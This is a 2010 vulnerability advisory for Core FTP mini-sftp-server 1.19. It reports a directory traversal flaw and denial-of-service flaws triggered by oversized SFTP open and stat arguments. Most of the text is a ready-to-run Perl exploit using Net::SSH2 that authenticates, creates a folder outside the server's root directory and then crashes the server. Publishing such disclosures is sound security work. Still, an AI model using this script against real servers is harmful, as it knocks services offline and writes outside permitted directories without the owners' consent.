Core FTP mini-sftp-server 1.19 Denial Of Service / Traversal

`Date of Discovery:  
7-Jun-2010  
  
Credits:  
leinakesi[at]gmail.com  
  
Vendor:   
Core FTP mini-sftp-server  
http://www.coreftp.com/server/index.html  
  
Affected:  
Core FTP mini-sftp-server version 1.19.   
Earlier versions may also be affected.  
  
Overview:  
"Core FTP Server" and "Core FTP mini-core sftp server" are both products of Core FTP that allow you to exchange files with others via networks and the internet. I have tested the SFTP module of "Core FTP Server" before and found there are several Denial of Service and Directory Traversal vulnerabilities. It seems "Core FTP mini-core sftp server" has behaved the same way as Core FTP Server does--They have the same vulnerabilities.  
  
1. Directory Traversal vulnerability:  
$m = $sftp->mkdir("../A/");# create a folder outside the root directory  
  
2. Denial of Service vulnerability:  
$o1 = $sftp->open("A" x 10000);  
$o2 = $sftp->open("test", "O_RDWR", "A" x 10000);  
$o3 = $sftp->open("test", $FUZZ, 0666); $o3 = $sftp->open("test", $FUZZ, 0666);  
$st = $sftp->stat("A" x 10000);  
  
PS: thanks to Jeremy Brown, I learned a lot from his blog.^_^  
  
  
Exploit example:  
  
#!/usr/bin/perl  
#leinakesi[at]gmail.com  
#thanks to Jeremy Brown, I learned a lot from his blog.^_^  
#the script will first make a folder "A" outside the root directory and then crash the server.  
  
use Net::SSH2;  
use Getopt::Std;  
  
  
$FUZZ = "A" x 10000;   
  
getopts('S:P:u:p:', \%opts);  
$server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'};  
  
if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) )  
{  
print "usage:\n\tperl test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n";  
print "\tperl test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";  
exit(0);  
}  
  
$ssh2 = Net::SSH2->new();  
$ssh2->connect($server, $port) || die "can not connect the server, please check.\n";  
$ssh2->auth_password($user, $pass) || die "you sure user name and password are correct?\n";  
$sftp = $ssh2->sftp();  
  
#make a folder outside the root directory  
$m = $sftp->mkdir("../A/");  
  
#any command of the following would cause Core FTP mini-sftp-server crash.  
$o1 = $sftp->open($FUZZ);  
#$o2 = $sftp->open("test", "O_RDWR", $FUZZ);  
#$o3 = $sftp->open("test", $FUZZ, 0666);$o3 = $sftp->open("test", $FUZZ, 0666);  
#$st = $sftp->stat($FUZZ);  
  
$ssh2->disconnect();  
`